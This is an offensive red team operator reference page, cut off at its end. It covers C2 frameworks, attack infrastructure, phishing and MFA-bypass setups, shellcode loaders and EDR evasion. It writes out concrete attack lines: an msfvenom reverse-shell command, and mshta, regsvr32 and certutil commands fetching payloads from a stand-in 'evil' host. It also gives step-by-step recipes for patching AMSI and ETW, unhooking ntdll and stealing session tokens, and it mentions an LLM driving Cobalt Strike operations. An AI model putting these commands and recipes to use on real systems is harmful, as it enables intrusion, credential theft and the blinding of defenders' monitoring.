Red Team Operations Architecture Map

Comprehensive Operator Reference — From Infrastructure to Impact
INFRASTRUCTURE INITIAL ACCESS EXECUTION EVASION LATERAL / PERSIST COLLECTION EXFILTRATION C2 Framework Cobalt Strike • Havoc • Sliver Redirectors socat • nginx • CDN fronting Domain Setup Categorized domains • aged • SSL Phishing Infra GoPhish • EvilGinx • SMTP relay Payload Hosting S3 • Azure Blob • GCS • CDN IaC / Automation Terraform • Ansible • Red Infra Malleable C2 Profiles • JARM • TLS fingerprint VPS / Cloud DO • Vultr • Azure • AWS Spear Phishing Email • Teams • LinkedIn HTML Smuggling Blob • base64 decode • JS drop Macro-less Payloads LNK • ISO • OneNote • CHM Drive-by / Watering Hole Browser exploit • SEO poison Credential Phishing EvilGinx • Modlishka • MFA bypass Supply Chain Package manager • CI/CD poison Physical Access USB drop • Rubber Ducky • implant External Services VPN • RDP • OWA • Citrix Shellcode Loaders Custom • Donut • sRDI Process Injection Classic • Syscall • Module Stomp LOLBins mshta • rundll32 • msbuild PowerShell Cradle • Reflection • Runspace .NET / CLR Assembly.Load • inline execute WMI / DCOM Exec wmiexec • DCOM lateral Reflective DLL sRDI • in-memory PE load AMSI Bypass Patch • Reflection • Hardware BP ETW Patching NtTraceEvent • EtwEventWrite API Unhooking Fresh ntdll • Perun's Fart Direct Syscalls SysWhispers • HellsGate • Halo Sleep Obfuscation Ekko • Foliage • Deathsleep Call Stack Spoofing ThreadStackSpoofer • Unwinder Signature Evasion Obfuscation • Encryption • Packing CLM / AppLocker Bypass WDAC • Full Language Mode SMB / WinRM PsExec • evil-winrm • smbexec DCOM Execution MMC20 • ShellWindows • Excel RDP / VNC SharpRDP • session hijack Named Pipes C2 SMB listener • pivoting Registry Persist Run keys • COM hijack Scheduled Tasks schtasks • WMI event sub Service Install sc create • DLL sideload svc DLL Sideloading Signed EXE + malicious DLL Keylogging SetWindowsHookEx • raw input Screen Capture PrintWindow • screenshots Credential Dump LSASS • SAM • DPAPI • Browser File Discovery Shares • Snaffler • sensitive docs Email Harvest MailSniper • EWS • Graph API Clipboard Monitor Passwords • tokens • MFA codes HTTPS C2 Blend with normal traffic DNS Exfil dnscat2 • iodine • TXT records Cloud Storage OneDrive • GDrive • Dropbox Staging & Chunking Compress • Encrypt • Split SMB / WebDAV Internal staging • share exfil KILL CHAIN LEGEND Infrastructure Initial Access Execution Evasion Lateral / Persist Collection Exfiltration Phish → Execute → Evade → Move → Collect → Exfil

// Operation Flow Chains

End-to-end attack chains showing how red team operations connect from infrastructure through impact.

Classic Phishing → Beacon → DA
Build C2 + redirectors
phish
HTML smuggle → ISO/LNK
execute
Shellcode loader
beacon
C2 callback
AD attack
Domain Admin
EvilGinx MFA Bypass → Token Theft → Cloud Access
Setup EvilGinx proxy
lure email
Victim enters creds + MFA
capture
Session cookie stolen
replay
Authenticated as user
pivot
M365 / Azure / On-prem
Loader → Unhook → Inject → Beacon (EDR Bypass Chain)
Custom loader (Rust/C)
patch AMSI
AMSI + ETW bypass
fresh ntdll
Unhook EDR
syscall inject
Process injection
sleep obf
Stable C2 beacon
DLL Sideload → Signed Binary → Persistence
Find signed EXE + DLL
craft DLL
Proxy DLL (exports)
drop pair
Signed EXE loads our DLL
persist
Registry Run key / schtask
beacon
Persistent C2
Lateral Movement → Pivot → Exfil
Dump creds (LSASS/DPAPI)
PtH / PtT
Move to high-value target
SMB pipe
Deploy beacon (child)
Snaffler
Collect sensitive data
staged exfil
HTTPS C2 exfil
Domain Fronting → CDN → C2 (Covert Channel)
Categorized domain + SSL
CDN config
CloudFront / Azure CDN
Host header
TLS SNI = legit domain
route to C2
Traffic looks legitimate
beacon
Covert C2 channel
ZIP → LNK → Signed EXE → DLL Sideload → C2 (Gold Standard Chain)
ZIP (inner dir + multi-file)
user clicks
LNK trigger
launches
Signed EXE (reputation pass)
sideload
Unsigned malicious DLL
beacon
C2 + decoy PDF opens
search-ms → WebDAV → LNK → Sideload (Protocol Handler Abuse)
Phishing email / site
search-ms: URI
Explorer shows WebDAV files
appears local
User clicks LNK
sideload
Signed EXE + malicious DLL
callback
C2 beacon
LNK → PowerShell → Strip MOTW → XLL → Excel Exec
ZIP (LNK + XLL x86/x64)
user clicks
LNK runs PowerShell
strips MOTW
XLL via COM automation
loads
Excel executes add-in code
beacon
C2 in Excel context
Polyglot LNK → Self-Contained Payload Execution
Polyglot LNK (LNK+VBS)
CMD + PS
Extract from metadata
decode
Embedded payload (no MOTW)
execute
Shellcode / script runs
persist
C2 + single-file delivery
RDP File → PyRDP → TypeLib COM Hijack (Phish-to-Persist)
Victim opens .rdp file
connects
PyRDP server + auto-exec
enum dirs
Deploy DLL + BAT + SCT
hijack
TypeLib COM persistence
self-clean
Persistent backdoor
Teams Call → AnyDesk → AutoIt → Process Hollow (Vishing Chain)
Social engineer via Teams
remote access
AnyDesk session
deploy
AutoIt.exe + .a3x script
hollow
Process hollowing
persist
Registry RUN + Startup
ClickFix → Clipboard PowerShell → Download → Execute
Fake CAPTCHA page
checkbox
JS copies PS to clipboard
Win+R paste
PowerShell download cradle
fetch
Stage 2 payload
execute
C2 beacon + persist
Device Code Phish → Token Capture → M365 → Cloud Lateral
Dynamic device code gen
phish link
Victim enters code + MFA
capture
Access + refresh tokens
enumerate
M365 / Azure / SharePoint
persist
App registration + passkey
Password Spray → Valid Creds → App Reg → Cloud Persistence
IP-rotated spray (FireProx)
valid creds
Entra ID access
create app
App Registration + secret
consent
Mail / SPO / Teams access
persist
Survives pw change + MFA
WDAC Policy Deploy → Reboot → EDR Killed → Full Control
Deploy custom WDAC policy
blocks EDR
Policy blocks EDR drivers
reboot
EDR fails to start
operate
Unmonitored system
extract
Full credential dump + exfil
Threadless Inject → Hook API → Natural Exec → Shellcode
Find target process
write hook
Place hook on common API
wait
Process naturally calls API
trigger
Shellcode executes
no thread
Undetected C2 beacon
MSI Transform → Signed Install → DLL Sideload → Persist
LNK triggers msiexec
TRANSFORMS=
Legit MSI + evil MST
installs
MS-signed EXE + malicious DLL
sideload
Code exec via trusted process
startup LNK
Persistent sideload pair
WASM Smuggling → Anti-Sandbox → Encrypted Payload → C2
HTML page (WebAssembly)
env check
IP / browser fingerprint
decrypt
WASM decodes payload
offer DL
Payload download (no JS sigs)
execute
Beacon via smuggled payload
SharePoint Spoof → Internal Phish → Device Code → Exfil
M365 user (no Exchange lic)
SPO share
no-reply@sharepointonline
trusted
Device code phish page
token
Full M365 access
exfil
Mail + SPO + Teams data
On-Prem AD → SeamlessSSO → Silver Ticket → Cloud Token
Dump AZUREADSSOACC$ hash
forge
Kerberos Silver Ticket
SOAP
DesktopSsoToken
exchange
Azure access + refresh token
cloud access
Full Azure / M365 control
AutoHotkey → VirtualAlloc → RtlMoveMemory → DllCall
Deliver AHKv2 + loader.txt
read
Read raw shellcode (benign.txt)
alloc RWX
VirtualAlloc + RtlMoveMemory
DllCall
Direct shellcode exec
beacon
C2 via signed runtime
ADCS ESC4 → Template Modify → ESC1 → Golden Cert
Find vulnerable ESC4 template
modify
Enable SAN on template
wait ≤8h
Request cert as DA
auth
PKINIT TGT → DA access
BadSuccessor (dMSA) → Server 2025 → Domain Admin
Find dMSA-enabled DC
enum
Exploit dMSA delegation
SharpSuccessor
Impersonate any account
escalate
Domain Admin
vSphere Snapshot → .vmem Download → Credential Extraction
vSphere admin access
snapshot
Download .vmem + .vmsn
vmss2core
Convert to .dmp
MemProcFS
Extract LSASS creds offline
Shadow Creds Bypass → Coercion → LDAP Relay → Persistence
Coerce auth (Coercer)
relay
LDAP relay + msDS-KeyCredentialLink
flags=0x02
keycred bypass patch
TGT
Persistent access via Shadow Credentials
MSSQL Linked Server → Multi-Hop → CREATE ASSEMBLY → Implant
Initial MSSQL access
linked server
Chain through links
enable CLR
CREATE ASSEMBLY .NET DLL
execute
C2 implant in MSSQL process
NTLM Reflection → SMB to LDAPS → Full Domain Compromise
Coerce NTLM auth
CVE-2025-33073
SMB to LDAPS relay
bypass signing+binding
Modify AD objects
RBCD/ShadowCred
Domain compromise

// C2 Frameworks Deep Dive

Command and Control is the backbone of any red team operation. Choosing the right framework determines your capabilities, OPSEC profile, and flexibility.

C2

Cobalt Strike

The industry standard — Beacon payload, Malleable C2, mature ecosystem
  • Beacon: Staged/stageless, HTTP/HTTPS/DNS/SMB/TCP listeners
  • Malleable C2: Full control over network indicators — mimic any HTTP traffic pattern
  • BOFs (Beacon Object Files): Run compiled C in Beacon's memory — no fork & run
  • Sleep mask: Encrypt Beacon in memory during sleep — evade memory scanners
  • OPSEC concerns: Default configs heavily signatured — MUST customize profiles, watermarks tracked
  • Key features: spawn & inject, jump (lateral), mimikatz integration, socks proxy
  • Arsenal Kit: Modify artifact/resource/sleep mask/process injection behavior
C2

Havoc

Open-source, modern C2 — Demon agent, extensible via Python/C
  • Demon agent: Position-independent, supports indirect syscalls natively
  • Sleep obfuscation: Ekko/Zilean built-in — encrypts agent in memory during sleep
  • No fork & run: Inline execution by default — better OPSEC than CS fork & run
  • Extensible: Python API for custom commands, modules, and post-exploitation
  • Listeners: HTTP/HTTPS with customizable profiles
  • Free & open source — actively developed, growing community
  • Limitation: Smaller ecosystem than CS, fewer BOFs/tools ported
C2

Sliver

Open-source by BishopFox — implants in Go, multi-protocol
  • Implants: Compiled Go binaries — cross-platform (Windows/Linux/macOS)
  • Protocols: mTLS, WireGuard, HTTP(S), DNS — all encrypted by default
  • Multiplayer: Multiple operators, role-based access, real-time collaboration
  • Armory: Extension/alias package manager (BOFs, .NET assemblies)
  • OPSEC note: Go implants are large (~10MB+), runtime is signatured by some EDRs
  • Pivots: TCP/Named pipe pivots for internal C2 chains
  • Good for: Cross-platform ops, teams, when Cobalt Strike isn't available
C2

Mythic

Collaborative, multi-agent C2 platform — containerized architecture
  • Multi-agent: Apollo (C#), Athena (.NET), Poseidon (Go), Medusa (Python), Merlin, and more
  • Containerized: Each agent/C2 profile runs in Docker — modular, easy to extend
  • UI: Web-based dashboard with task tracking, file browser, MITRE ATT&CK mapping
  • Custom agents: Build your own agent in any language with the Mythic agent framework
  • P2P: Agent-to-agent communication for internal pivoting
  • Good for: Purple team, agent development, complex multi-operator engagements
C2

Brute Ratel C4

Commercial adversary simulation — Badger agent, focused on EDR evasion
  • Badger: Designed from the ground up for EDR evasion
  • Syscalls: Indirect syscalls by default — avoids user-mode hooks entirely
  • Sleep obfuscation: Built-in memory encryption during callbacks
  • Stack spoofing: Return address spoofing to evade stack-based detections
  • LDAP sentinel: C2 over LDAP protocol — unique covert channel
  • DOH: DNS-over-HTTPS for C2 communication
  • OPSEC: Commercially licensed, leak in 2022 led to criminal abuse — vendor tracks licenses
C2

Nighthawk

Commercial, advanced EDR evasion C2 by MDSec
  • Designed for: Mature environments with advanced EDR deployed
  • Custom syscalls: Proprietary implementation, not based on public tools
  • Sleep obfuscation: Advanced memory encryption with timer-based wake
  • Heap encryption: Encrypts all heap allocations during sleep
  • Thread pool: Uses Windows thread pool for execution — blends with normal process behavior
  • Commercal only: Expensive, restricted licensing — not publicly available

// Red Team Infrastructure

Your infrastructure IS your OPSEC. Poor setup = burned operation. Every component needs separation, redundancy, and deniability.

Infrastructure Architecture

OPERATOR MACHINE
└── VPN / Tor / Jump Box                     // Never connect directly to C2 team server
    └── C2 TEAM SERVER (VPS)
        ├── HTTPS Redirector             nginx/Apache reverse proxy → categorized domain
        │   ├── CDN Layer                CloudFront / Azure CDN / Fastly
        │   └── Domain Fronting          SNI = legit.com, Host: = evil.com
        ├── DNS Redirector              socat UDP relay or DNS-over-HTTPS
        ├── SMB Pipe Listener           Internal pivots, no egress needed
        └── Payload Hosting             S3 / Azure Blob / GitHub raw (burned after use)

PHISHING INFRASTRUCTURE (separate from C2!)
├── SMTP Server                  Postfix + DKIM + SPF + DMARC → pass email checks
├── GoPhish / Custom             Campaign management + tracking
├── EvilGinx                     Transparent proxy for MFA bypass (AitM)
└── Landing Pages               Cloned portals • HTTPS • categorized domains

DOMAIN STRATEGY
├── Age domains >30 days before use                    // Fresh domains = red flag
├── Get categorized (Health, Finance, Tech)            // Bluecoat, VirusTotal, Fortiguard
├── Separate domains: phishing / C2 / payload hosting  // Burn one ≠ burn all
└── Valid SSL from Let's Encrypt or purchased CA        // Self-signed = instant detection
INFRA

Redirectors

Never expose your team server — always proxy through redirectors
  • HTTPS Redirector: nginx reverse proxy — filter by User-Agent, URI, headers
  • Apache mod_rewrite: Conditional forwarding based on request attributes
  • socat: Simple TCP/UDP relay for DNS listeners: socat UDP4-RECVFROM:53,fork UDP4-SENDTO:c2server:53
  • CDN fronting: CloudFront, Azure CDN — C2 traffic looks like CDN HTTPS
  • Separation: Long-haul (persistent C2), short-haul (interactive), phishing (burned after campaign)
  • Burn protocol: If redirector is flagged → replace VPS + domain, team server untouched
INFRA

Malleable C2 Profiles

Shape your C2 traffic to look like legitimate services
  • Purpose: Define how Beacon communicates — HTTP headers, URIs, encoding, timing
  • Mimic: jQuery, Amazon, Google APIs, Microsoft update traffic
  • Critical settings: set sleeptime, set jitter, set useragent
  • Host header: For domain fronting — header "Host" "legit.azureedge.net";
  • Post-ex: Configure spawn-to process, injection method, named pipe names
  • JARM fingerprint: Default CS JARM is signatured — use custom TLS or nginx in front
  • Test: c2lint to validate profile before deployment
INFRA

Infrastructure as Code

Automate infra deployment — spin up/tear down in minutes
  • Terraform: Provision VPS, DNS records, CDN, and firewall rules
  • Ansible: Configure team servers, install tools, deploy redirectors
  • Red-Baron: Terraform modules specifically for red team infra
  • RedInfra / Nebula: Pre-built red team infrastructure templates
  • Benefits: Consistent deployments, fast teardown, version-controlled, repeatable
  • Tip: Keep Terraform state encrypted — it contains all IP addresses and configs
INFRAC2

Advanced C2 Redirectors

Living-off-the-cloud redirectors — route C2 through legitimate infrastructure that defenders can't block
  • GraphStrike: Routes Cobalt Strike traffic over Microsoft Graph API — blends into legitimate M365 traffic
  • ProxyBlob: Reverse SOCKS5 over Azure Blob Storage — slower but bypasses Netskope and most network security products
  • Turnt: SOCKS proxy over TURN servers (Teams/Zoom endpoints) — tunnels through legitimate TURN infrastructure
  • Stillepost: Proxy C2 HTTP through Chromium browser via Chrome DevTools Protocol — traffic appears as legitimate browsing
  • SSH SOCKS: Built-in Windows SSH client (ssh -R 1080 USER@VPS) creates SOCKS proxy through VPS — works against CrowdStrike. Run over port 443 if 22 blocked
  • Azure Functions relay: Beacon IDs in HTTP headers on POST, parameters on GET — Azure Function proxies to team server
  • Cloudflare Workers: Redirector logic on Cloudflare edge — traffic from Cloudflare IPs, impossible to block without blocking all Cloudflare
  • ICMP C2 (UDC2): CS 4.12 feature. Redirector via custom TTL values (start at 255, forward if TTL>170) — normal pings never reach that
INFRAC2

CS 4.12 & AI-Integrated C2

Cobalt Strike 4.12 features and MCP-based AI integration for autonomous operations
  • CS 4.12 UDC2: User Defined Command and Control — ICMP channel support, custom C2 channel development via IAT hooks
  • CS 4.12 REST API: Full API access to CS operations — enables automation and AI integration
  • CS 4.12 injection: New process injection options and refreshed GUI
  • CS-MCP: AI-powered CS management via Model Context Protocol — Claude/LLM drives operations through REST API
  • Sourcepoint: Malleable C2 profile generator — automates creation of evasive profiles
  • Venom C2: Dependency-free Python3 C2 with WDAC bypass — extends Loki C2, built for persistence mid-engagement
  • Residential proxies: IPRoyal, SmartProxy, Decodo, BrightData for IP rotation — blend with legitimate traffic from same region
  • Sourcepoint + favicon.ico trick: Profile customization and beacon detection evasion
INFRAOPSEC

Infrastructure OPSEC

Operational security for attack infrastructure — don't let your attack boxes betray you
  • Hostname OPSEC: Always rename attack boxes to match client naming convention. hostnamectl for persistent change — hostname is temporary on Debian. Kali hostnames are instantly flagged
  • fakeprinter: Python scripts making your box appear as HP printer — fake printer services on expected ports
  • Artillery: Honeypot alerter on attack box — detect when defenders start probing your infrastructure
  • RedELK: Red Team's SIEM — operational logging, monitoring, and detection of blue team investigation
  • Ghostwriter: Report writing + infrastructure management platform for tracking ops
  • SOCKS OPSEC: Avoid default signatured tools (Impacket, CrackMapExec) over SOCKS. Prefer TrustedSec BOFs for post-exploitation
  • VECTR: Purple team tracking — log TTPs, track detection status, maintain engagement records
  • Environmental keying: Offload checks to server-side for payload delivery decisions — DoH for DNS-based keying

// Initial Access

Getting that first callback. Phishing remains the most common vector, but the techniques evolve constantly as email gateways and endpoint protections improve.

ACCESS

HTML Smuggling

Deliver payloads through HTML/JS — bypasses email gateways and proxies
  • Embed payload as base64 or encrypted blob inside an HTML file
  • JavaScript decodes and offers the file for download when opened in browser
  • Bypasses: Email attachment scanners only see an HTML file, not the payload inside
  • Blob method: window.URL.createObjectURL(new Blob([bytes]))
  • Anchor download: Create <a download="payload.iso"> and auto-click
  • Encryption: XOR or AES encrypt the blob, derive key from URL fragment or user input
  • Pair with: ISO/ZIP/VHD container to bypass MOTW (Mark-of-the-Web)
ACCESS

Macro-less Payloads

Microsoft blocked VBA macros by default — these are the post-macro era vectors
  • LNK files: Shortcut with PowerShell/cmd command line — still very effective
  • ISO / IMG / VHD: Container files that auto-mount — contents bypass MOTW (pre-patch)
  • OneNote (.one): Embed scripts, HTA, or EXE as attachments — social engineer the click
  • CHM (Compiled HTML Help): Execute embedded scripts via hh.exe
  • MSI packages: Windows Installer abuse — can execute custom actions
  • MSIX / AppX: Signed app packages that execute code on install
  • XLL (Excel Add-in): Native DLL loaded by Excel — code execution on open
  • Trend: Shift toward LNK + DLL sideloading as primary delivery mechanism
PHISH

Credential Phishing (AitM)

Adversary-in-the-Middle proxies — capture credentials AND MFA tokens
  • EvilGinx 3: Transparent reverse proxy — sits between victim and real login page
  • Captures username, password, and session cookies after MFA
  • Modlishka: Similar transparent proxy — real-time credential harvesting
  • Muraena + NecroBrowser: Automated session hijacking at scale
  • MFA bypass: Works against TOTP, push notifications, SMS — only FIDO2/WebAuthn is resistant
  • Setup: Categorized domain + valid SSL + EvilGinx phishlet for target service
  • Cookie replay: Import stolen session cookie into browser → fully authenticated session
ACCESS

Phishing Infrastructure

Email delivery that actually lands in the inbox — not spam/quarantine
  • SMTP server: Postfix/Sendmail on VPS with PTR record matching sending domain
  • SPF: v=spf1 ip4:YOUR_IP -all — authorize your server to send
  • DKIM: Sign emails with domain key — opendkim on Postfix
  • DMARC: v=DMARC1; p=none; — builds legitimacy
  • GoPhish: Campaign management, templates, tracking, landing pages
  • Warming: Send benign emails for days/weeks before the campaign to build sender reputation
  • Tracking: 1x1 pixel images for open tracking, unique URLs per target for click tracking
  • OPSEC: Never reuse phishing infra for C2 — keep completely separate
ACCESS

External Service Exploitation

VPN, Citrix, OWA, VDI — internet-facing services with weak auth
  • Password spraying: Slow spray against OWA, VPN portals, Citrix
  • Credential stuffing: Breached credentials tested against corporate SSO
  • VPN without MFA: Single-factor VPN = direct internal network access
  • Citrix / RDP Gateway: Exposed remote access = foothold without phishing
  • OWA / Exchange: Valid creds → email access → internal phishing from trusted sender
  • Tools: trevorspray, SprayingToolkit, MailSniper
  • OPSEC: Respect lockout policies, spray low and slow (1 attempt per 30min+)
ACCESS

Physical Access / USB

When digital access fails — physical implants, drops, and social engineering
  • USB Rubber Ducky: HID device that types payloads as keyboard input — bypasses USB restrictions
  • Bash Bunny: Multi-vector USB attack tool (HID + storage + network)
  • USB drops: Leave weaponized USBs in parking lots / lobbies / break rooms
  • LAN Turtle: Covert inline network implant — reverse shell over cellular
  • WiFi Pineapple: Rogue AP for MitM, credential capture, evil portal
  • O.MG Cable: USB cable with embedded implant — keystroke injection + WiFi C2
  • Tailgating: Follow employees through badge-access doors — physical security test
ACCESSCLOUD

Device Code Phishing

Bypass MFA including FIDO2 — capture OAuth tokens through device authorization flow
  • Dynamic code generation: Generate device code when victim lands on page — handles short expiry window
  • Flow: Victim enters code at microsoft.com/devicelogin → authenticates with MFA → attacker captures tokens
  • Bypasses FIDO2: Device code flow captures full access+refresh tokens, bypassing phishing-resistant MFA
  • AWS SSO variant: aws sso login enables identical attack — no CA policy exists to block it
  • Vishing combo: Walk target through code entry over phone call — "verify your identity" pretext
  • GraphSpy: Backend for device code polling + token storage + auto-capture
  • TokenPhisher / SquarePhish: Dedicated device code phishing frameworks
  • Persist: Captured refresh tokens survive password changes — add app registration for long-term access
PHISH

Email Delivery & Inbox Landing

Getting past email gateways into the inbox — sender reputation is everything
  • LarkSuite (ByteDance): Free custom domain accounts, SMTP+IMAP, no outbound content filtering, 20min setup
  • SharePoint spoof: Remove Exchange license from M365 user → share SPO file → sends from no-reply@sharepointonline.com with full DMARC pass
  • Trusted platform abuse: DocuSign, AdobeSign, SurveyMonkey, Microsoft Forms — all send from allowlisted domains
  • iCal organizer spoof: Outlook renders calendar invites based on ICS organizer field, not actual sender — populate with internal email for avatar + trust
  • Hook emails: Send benign emails first to build sender reputation with target + email gateway, then malicious follow-ups
  • Hidden text salting: Insert invisible text in email HTML to confuse keyword-based detection engines
  • Domain strategy: Append -dev, -portal, -meetings, -invite to target technology domains
  • decode-spam-headers: Decode opaque spam headers to understand why emails hit spam

// Payload Development

The payload is what runs on the target. Loaders, shellcode, and delivery mechanisms determine whether you get caught in seconds or maintain access for months.

PAYLOAD

Shellcode Generation

Raw position-independent code — the foundation of every payload
  • msfvenom: msfvenom -p windows/x64/meterpreter_reverse_https LHOST=x LPORT=443 -f raw
  • Cobalt Strike: Attacks → Packages → Windows Executable (Stageless) → Raw
  • Donut: Convert .NET assemblies, PE files, VBS, JS into position-independent shellcode
  • Donut -i beacon.exe -o beacon.bin -a 2 -f 1 — x64, raw format
  • sRDI: Shellcode Reflective DLL Injection — convert any DLL to shellcode
  • Custom: Write your own in C/Rust — avoid known signatures entirely
  • Encryption: Always encrypt shellcode at rest — XOR, AES, RC4 with runtime decryption
PAYLOAD

Shellcode Loaders

The code that decrypts, allocates, and executes your shellcode
  • Basic flow: Read encrypted shellcode → decrypt → allocate RWX memory → execute
  • VirtualAlloc + memcpy + CreateThread: Simplest loader — heavily detected
  • Better: NtAllocateVirtualMemory (syscall) → NtWriteVirtualMemory → NtCreateThreadEx
  • Callback execution: Use Windows callbacks to trigger shellcode (EnumFonts, CreateFiber, etc.)
  • Languages: C/C++ (smallest, fastest), Rust (safe + small), Nim (emerging), Go (large but cross-platform)
  • Separation: Store encrypted shellcode separately (resource, URL, registry) — not embedded
  • Sandbox evasion: Check for debugger, sleep acceleration, low RAM, no user interaction
PAYLOAD

LOLBins (Living Off the Land)

Abuse legitimate Windows binaries to execute code — no custom EXE needed
  • mshta.exe: Execute HTA files — mshta http://evil/payload.hta
  • rundll32.exe: Load and execute DLL exports — rundll32 payload.dll,EntryPoint
  • msbuild.exe: Compile and execute inline C# from .csproj/.xml files
  • regsvr32.exe: Load COM scriptlets — regsvr32 /s /n /u /i:http://evil/payload.sct scrobj.dll
  • certutil.exe: Download files — certutil -urlcache -split -f http://evil/payload.exe
  • wmic.exe: Execute XSL stylesheets with embedded JScript
  • cscript/wscript: Execute VBS/JS scripts natively
  • Reference: LOLBAS Project (lolbas-project.github.io) — full database
PAYLOAD

DLL Sideloading

Abuse DLL search order of signed binaries to load malicious DLLs
  • Concept: Signed EXE looks for a DLL → place your DLL where it searches first
  • Proxy DLL: Forward all original exports to the real DLL + add malicious code
  • Finding candidates: Spartacus, DLLSpy, Process Monitor (filter: NAME NOT FOUND)
  • Common targets: OneDrive, Teams, Slack, Chrome updater, printer drivers
  • Why it works: The signed EXE loads your DLL — EDR sees trusted process loading a DLL
  • Persistence: Drop sideload pair in user-writable path + scheduled task/Run key
  • OPSEC: Choose EXEs that normally load DLLs from their directory — avoid suspicious paths
PAYLOAD

Advanced Payload Engineering

Position-independent C/C++ compilation, metamorphic cross-compilation, and ML-based evasion
  • EPIC: Cross-platform C/C++ to PIC shellcode builder — modular compilation, minimal libc, dead function elimination
  • EPIC RBX trick: -ffixed-rbx GCC flag reserves RBX register for global R/W context across PIC — enables stateful shellcode
  • Dittobytes: Metamorphic cross-compilation of C++ to PIC, BOF, and EXE formats — each compile produces unique binary
  • Crystal Palace: Mudge's position-independent DLL loader linker from Tradecraft Garden
  • EvadeX: Commercial C# obfuscator effective against ML detections and static analysis
  • Shellcode encoding: Simple XOR is sufficient — encryption type (AES/RC4) largely irrelevant. RC4 via SystemFunction032/33 specifically detected by EDRs
  • T-1: ML-based sandbox detection shellcode loader — uses machine learning to detect analysis environments
  • Detonator: Web UI for detonating payloads on VMs under various EDRs — repeatable testing across products
PAYLOAD

Python & .NET Payload Delivery

Abuse legitimate runtimes for payload execution — blend with development environments
  • Python environment drop: Deploy legitimate pythonw.exe + ctypes shellcode loader buried in dependencies — scheduled task for persistence
  • MSSQL CREATE ASSEMBLY: Load managed .NET DLL C2 implant directly into MSSQL process — avoids xp_cmdshell noise entirely
  • Inline-EA: CS BOF for evasive inline .NET assembly execution — no fork & run
  • DllShimmer: Tool to easily weaponize DLL hijacking on any DLL — auto-generates proxy DLL source
  • AppDomainManager injection: Hijack .NET AppDomainManager to load malicious assemblies — no modification to original binary
  • RuntimeHelpers.PrepareMethod: Achieve RWX memory in .NET without calling VirtualProtect — JIT compilation abuse
  • koneko: Cobalt Strike shellcode loader with advanced evasion — combines multiple bypass techniques

// Defense Evasion

Modern EDRs hook userland APIs, scan memory, inspect call stacks, and correlate telemetry. Every technique here addresses a specific detection mechanism.

EDR Detection Layers & Bypasses

LAYER 1: STATIC SIGNATURES
├── AV/YARA rules on disk                 // Bypass: encryption, obfuscation, packing
├── Known bad hashes                       // Bypass: recompile, change any byte
└── Import table analysis                  // Bypass: dynamic resolution, syscalls

LAYER 2: USERLAND HOOKS
├── ntdll.dll hooks                        // Bypass: unhooking, direct syscalls
├── kernel32/kernelbase hooks              // Bypass: call ntdll directly, syscalls
└── AMSI (amsi.dll)                        // Bypass: patch AmsiScanBuffer, hardware BP

LAYER 3: ETW TELEMETRY
├── EtwEventWrite                          // Bypass: patch to ret, NtTraceEvent hook
├── .NET CLR ETW                           // Bypass: patch before Assembly.Load
└── Threat Intelligence ETW                // Bypass: disable provider GUID

LAYER 4: KERNEL CALLBACKS
├── PsSetCreateProcessNotifyRoutine        // Can't bypass from userland
├── PsSetCreateThreadNotifyRoutine         // Remote thread creation = alert
├── PsSetLoadImageNotifyRoutine            // DLL loads tracked by kernel
└── ObRegisterCallbacks                    // Process handle operations (LSASS access)

LAYER 5: MEMORY SCANNING
├── Periodic memory scans                  // Bypass: sleep obfuscation, heap encryption
├── RWX region detection                   // Bypass: RW → RX flip, no RWX
└── Unbacked memory execution              // Bypass: module stomping, phantom DLL

LAYER 6: BEHAVIORAL / CALL STACK
├── Call stack analysis                    // Bypass: stack spoofing, return address overwrite
├── Parent-child process tracking          // Bypass: PPID spoofing, spawn from legit parent
└── Suspicious API call chains             // Bypass: indirect execution, callbacks
EVASION

AMSI Bypass

Antimalware Scan Interface — scans PowerShell, .NET, VBScript, JScript at runtime
  • Patch AmsiScanBuffer: Overwrite first bytes with ret — all scans return clean
  • Patch AmsiOpenSession: Break the session initialization
  • Hardware breakpoints: Set BP on AmsiScanBuffer, modify args in exception handler — no memory patch needed
  • Reflection: amsiContext field set to null via .NET reflection
  • CLR hooking: Hook the CLR's call to AMSI before it reaches amsi.dll
  • Important: AMSI patch must happen before loading any .NET tools or PS scripts
  • Detection: EDRs now monitor for AmsiScanBuffer patches — use hardware BPs or novel approaches
EVASION

ETW Patching

Event Tracing for Windows — disable telemetry that feeds EDR/SIEM
  • EtwEventWrite: Patch to ret 0 in ntdll.dll — kills all ETW events from the process
  • NtTraceEvent: Patch the syscall stub instead — lower level
  • .NET ETW: Patch before Assembly.Load to prevent CLR telemetry
  • Provider-specific: Disable specific ETW provider GUIDs instead of all ETW
  • Threat Intelligence ETW: Provider that feeds Defender — disabling it blinds Defender
  • OPSEC: Patching ETW is itself detectable — some EDRs monitor for ntdll modifications
EVASION

API Unhooking

Remove EDR hooks from ntdll.dll — restore clean syscall stubs
  • Fresh copy: Read clean ntdll.dll from disk (C:\Windows\System32\ntdll.dll)
  • Map the clean copy → overwrite .text section of loaded ntdll — all hooks removed
  • Perun's Fart: Suspend all threads, unhook, resume — avoids race conditions
  • KnownDlls: Read from \KnownDlls\ntdll.dll kernel object — always clean
  • From suspended process: Spawn suspended process → read its ntdll (before EDR hooks) → copy
  • Partial unhook: Only restore specific functions you need — less suspicious than full unhook
  • Detection: EDRs check ntdll integrity — some re-hook after unhooking detected
EVASION

Direct / Indirect Syscalls

Call the kernel directly — bypass all userland hooks entirely
  • Direct syscalls: Embed syscall instruction in your code — never touch ntdll.dll
  • Indirect syscalls: Jump to the syscall instruction inside ntdll.dll — legitimate return address
  • SysWhispers3: Generate syscall stubs with multiple bypass options
  • HellsGate: Dynamically resolve syscall numbers at runtime from ntdll
  • HalosGate: Resolve syscall numbers even when ntdll is hooked (neighbor stub technique)
  • TartarusGate: Extended HalosGate that handles more hook patterns
  • Why indirect: Direct syscalls have return address outside ntdll — detectable by stack analysis
  • Indirect: Return address points inside ntdll — looks legitimate to call stack analysis
EVASION

Sleep Obfuscation

Encrypt the implant in memory during sleep — evade periodic memory scans
  • Problem: C2 implants sleep 90%+ of the time — memory scanners look for implant signatures during sleep
  • Ekko: Use CreateTimerQueueTimer to chain ROP: RW → encrypt → sleep → decrypt → RX
  • Foliage: APC-based sleep obfuscation using NtQueueApcThread
  • Deathsleep: Unmap implant memory entirely during sleep — nothing to scan
  • Heap encryption: Encrypt all heap allocations, not just implant image
  • Stack spoofing: Change return addresses on stack during sleep — hide the call chain
  • OPSEC: The encryption itself creates patterns — advanced EDRs detect timer-based encryption chains
EVASION

Call Stack Spoofing

Fake the call stack to hide where execution originated — defeat stack-walking detections
  • Problem: EDRs walk the call stack on API calls — if return addresses point to unbacked memory = alert
